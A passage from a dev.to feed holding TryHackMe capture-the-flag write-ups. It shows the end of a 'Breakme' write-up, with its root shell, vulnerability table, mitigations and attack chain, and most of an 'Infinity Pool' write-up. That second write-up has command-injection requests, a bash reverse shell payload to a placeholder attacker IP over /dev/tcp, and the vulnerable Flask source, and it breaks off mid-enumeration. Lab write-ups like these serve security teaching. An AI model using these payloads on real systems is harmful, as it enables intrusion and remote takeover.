class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;swapcase&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nd"&gt;@Breakme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;youcef&lt;/span&gt;&lt;span class="c1"&gt;# whoami
&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;
&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nd"&gt;@Breakme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;youcef&lt;/span&gt;&lt;span class="c1"&gt;# id
&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nd"&gt;@Breakme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="c1"&gt;# cat .root.txt
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Weak WordPress user password (&lt;code&gt;bob&lt;/code&gt; / &lt;code&gt;soccer&lt;/code&gt;), reachable via password-attack&lt;/td&gt;
&lt;td&gt;WordPress login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Privilege escalation via unauthenticated parameter injection (&lt;code&gt;wpda_role[]&lt;/code&gt;) on profile update&lt;/td&gt;
&lt;td&gt;WP Data Access plugin 5.3.5 (CVE-2023-1874)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Arbitrary PHP write/execute via built-in Theme File Editor&lt;/td&gt;
&lt;td&gt;WordPress core (by-design admin feature, abused post-privesc)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;OS command injection via a denylist regex (`[^a-zA-Z0-9\&lt;/td&gt;
&lt;td&gt;\${}\/:.]&lt;code&gt;) that still allows &lt;/code&gt;\&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;TOCTOU race condition between {% raw %}&lt;code&gt;lstat()&lt;/code&gt; symlink check and &lt;code&gt;open()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;SUID &lt;code&gt;readfile&lt;/code&gt; binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Blacklist-based sandbox using substring matching, bypassable with &lt;code&gt;str.swapcase()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/root/jail.py&lt;/code&gt;, invoked via passwordless &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Patch WordPress and all plugins.&lt;/strong&gt; WP Data Access 5.3.5 is years out of date and has a
disclosed, trivially exploitable privilege escalation bug - upgrading past 5.3.8 closes it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce strong, unique passwords&lt;/strong&gt; for WordPress accounts and rate-limit/lock out
&lt;code&gt;wp-login.php&lt;/code&gt; to prevent password-attack tools like wpscan from succeeding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable the Theme/Plugin File Editor&lt;/strong&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; (&lt;code&gt;define('DISALLOW_FILE_EDIT', true);&lt;/code&gt;)
so that even a compromised admin account can't reach arbitrary PHP execution through the
dashboard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never trust client-supplied input passed to shell commands.&lt;/strong&gt; The port-9999 tool's &lt;code&gt;cmd2&lt;/code&gt;
handler uses a denylist regex that still permits &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;$&lt;/code&gt;, &lt;code&gt;{&lt;/code&gt;, and &lt;code&gt;}&lt;/code&gt; - exactly the characters
needed to inject a command. A safe fix would use &lt;code&gt;escapeshellarg()&lt;/code&gt;/&lt;code&gt;escapeshellcmd()&lt;/code&gt; correctly
or, better, avoid &lt;code&gt;shell_exec()&lt;/code&gt; entirely in favor of an allowlist of known-safe values (e.g.,
only real system usernames looked up via &lt;code&gt;getent&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid TOCTOU patterns entirely&lt;/strong&gt; - check-then-use races on the filesystem can rarely be fixed
by adding more checks. Open the file first (e.g., with &lt;code&gt;O_NOFOLLOW&lt;/code&gt;), then &lt;code&gt;fstat()&lt;/code&gt; the
resulting file descriptor to validate it, rather than statting a path and later opening that
same path by name.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't roll your own Python sandbox with a keyword blacklist.&lt;/strong&gt; String-level filtering can
always be defeated with case games, encodings, or attribute access tricks. If code execution
as root is required, it shouldn't be reachable via &lt;code&gt;sudo&lt;/code&gt; at all; if a sandboxed script is
genuinely needed, use an actual isolation mechanism (containers, restricted subprocess with a
minimal environment, seccomp, etc.) rather than string matching against &lt;code&gt;exec()&lt;/code&gt;'d input.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Weak creds (bob/soccer)
   |--&amp;gt; WP Data Access parameter-tampering privesc -&amp;gt; Administrator
          |--&amp;gt; Theme Editor RCE (404.php reverse shell) -&amp;gt; www-data
                 |--&amp;gt; Command injection on internal port-9999 service -&amp;gt; john
                        |--&amp;gt; TOCTOU race vs SUID readfile -&amp;gt; leak youcef's id_rsa
                               |--&amp;gt; Offline passphrase crack (rockyou) -&amp;gt; youcef
                                      |--&amp;gt; sudo Python jail escape (swapcase bypass) -&amp;gt; root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : Infinity Pool Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 07 Aug 2026 10:41:28 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8</link>
      <guid>https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Recon on &lt;code&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt; revealed a Gunicorn-hosted "Byte Lotus" hotel site with two paths disallowed in &lt;code&gt;robots.txt&lt;/code&gt; - &lt;code&gt;/internal/&lt;/code&gt; and &lt;code&gt;/status&lt;/code&gt;. The &lt;code&gt;/status&lt;/code&gt; page exposes an internal staff tool ("Sister-property connectivity") that POSTs a &lt;code&gt;host&lt;/code&gt; parameter to &lt;code&gt;/internal/netcheck&lt;/code&gt;, which shells out to &lt;code&gt;ping&lt;/code&gt; without sanitizing input. This allowed OS command injection as the &lt;code&gt;web&lt;/code&gt; user, leading to an initial foothold and the user flag.&lt;/p&gt;

&lt;p&gt;From there, an internal-only "Watchtower" ops console (&lt;code&gt;127.0.0.1:3000&lt;/code&gt;) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard (via SSH port forwarding, since curl-based login kept looping) and adding a voicemail widget exposed an "Automation Key" bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (&lt;code&gt;127.0.0.1:9000&lt;/code&gt;), whose &lt;code&gt;/jobs/export&lt;/code&gt; endpoint built a shell command from an unsanitized &lt;code&gt;report&lt;/code&gt; parameter - a second command injection, this time as &lt;code&gt;root&lt;/code&gt;, yielding the root flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
&lt;/span&gt;&lt;span class="gp"&gt;Nmap scan report for &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;| ssh-hostkey:
|   256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_  256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
&lt;/span&gt;&lt;span class="gp"&gt;|_http-title: Byte Lotus &amp;amp;mdash;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Stay Noticed
&lt;span class="go"&gt;Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   37.96 ms 192.168.128.1
2   ...
&lt;/span&gt;&lt;span class="gp"&gt;3   38.68 ms &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two open ports: SSH (22) and HTTP (80, Gunicorn). OS guesses (Crestron/embedded) are noise from the unreliable OS scan and can be disregarded.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; disclosed two hidden paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-agent: *
Disallow: /internal/
Disallow: /status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/static/app.js&lt;/code&gt; contained a developer comment leaking the internal endpoint behind &lt;code&gt;/status&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Byte Lotus front-end bootstrap.&lt;/span&gt;
&lt;span class="c1"&gt;// TODO(ops): the staff connectivity tool at /status posts to the legacy&lt;/span&gt;
&lt;span class="c1"&gt;// /internal/netcheck handler. Keep it out of the public nav until the new&lt;/span&gt;
&lt;span class="c1"&gt;// auth gateway ships. Disallowed in robots.txt for now.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/internal/&lt;/code&gt; (GET) returned 404 directly, but &lt;code&gt;/status&lt;/code&gt; (GET) rendered a form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/internal/netcheck"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"tool"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"host"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"property host e.g. 10.0.0.5"&lt;/span&gt; &lt;span class="na"&gt;autofocus&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Check&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dirsearch&lt;/code&gt; against the root found nothing further of interest.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability - OS Command Injection in /internal/netcheck
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;host&lt;/code&gt; field is passed unsanitized into a shell command (almost certainly &lt;code&gt;ping &amp;lt;host&amp;gt;&lt;/code&gt; under the hood, given the trailing &lt;code&gt;ping: usage error&lt;/code&gt; output on every request). Standard &lt;code&gt;;&lt;/code&gt;-separated command chaining worked immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/internal/netcheck &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'host=;id'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response body embedded in the &lt;code&gt;&amp;lt;pre class="out"&amp;gt;&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt;
ping: usage error: Destination address required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed further with &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;which bash&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;web
/usr/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting the reverse shell to fire
&lt;/h3&gt;

&lt;p&gt;First attempts with &lt;code&gt;curl -d&lt;/code&gt; failed - unescaped &lt;code&gt;&amp;amp;&lt;/code&gt; in the &lt;code&gt;/dev/tcp&lt;/code&gt; redirect payload was interpreted by curl as a form-field separator, truncating the command before it ever reached the server (visible in the reflected &lt;code&gt;value=&lt;/code&gt; attribute, which showed the string cut off after &lt;code&gt;bash -i&lt;/code&gt;). Switching to &lt;code&gt;--data-urlencode&lt;/code&gt; fixed the encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444 listen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/internal/netcheck &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"host=;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This curl call returned &lt;code&gt;Request timed out.&lt;/code&gt; - expected, not a failure, since the reverse shell never sends an HTTP response back to close the request. The payload had already fired in the background and connected out to the listener. Session landed as &lt;code&gt;web&lt;/code&gt;, with penelope auto-upgrading the shell to a PTY via its own &lt;code&gt;python3&lt;/code&gt;-based upgrade mechanism (unrelated to the injected payload itself):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; tryhackme-2404 &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64 web(1001) Session ID &amp;lt;1&amp;gt;
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Root cause confirmed in source
&lt;/h3&gt;

&lt;p&gt;Once shell access was gained, &lt;code&gt;/var/www/infinity_pool/edge/app.py&lt;/code&gt; confirmed the vulnerability - the &lt;code&gt;host&lt;/code&gt; form value is interpolated straight into an f-string and run with &lt;code&gt;shell=True&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/internal/netcheck&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;netcheck&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No host supplied.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;proc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping -c 1 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TimeoutExpired&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Request timed out.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Foothold - User Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;web@tryhackme-2404:/var/www/infinity_pool/edge&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;web&lt;span class="o"&gt;)&lt;/span&gt;
web@tryhackme-2404:/var/www/infinity_pool/edge&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/web/user.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;App is served out of &lt;code&gt;/var/www/infinity_pool/edge&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration as web
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sudo -l&lt;/code&gt; requires a password &lt;code&gt;web&lt;/code&gt; doesn't have:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  &lt;span class="nb"&gt;sudo&lt;/span&gt;: a password is required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/home/ubuntu&lt;/code&gt; is locked down - &lt;code&gt;.Xauthority&lt;/code&gt; and &lt;code&gt;.bash_history&lt;/code&gt; both return permission denied.&lt;/li&gt;
&lt;li&gt;No unusual SUID binaries outside standard snap-core noise and system defaults (&lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ss -tulnp&lt;/code&gt; showed a handful of loopback-only listeners beyond the public app on 80 - but at this stage that's all it was, just open ports with no names attached:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  127.0.0.1:9000
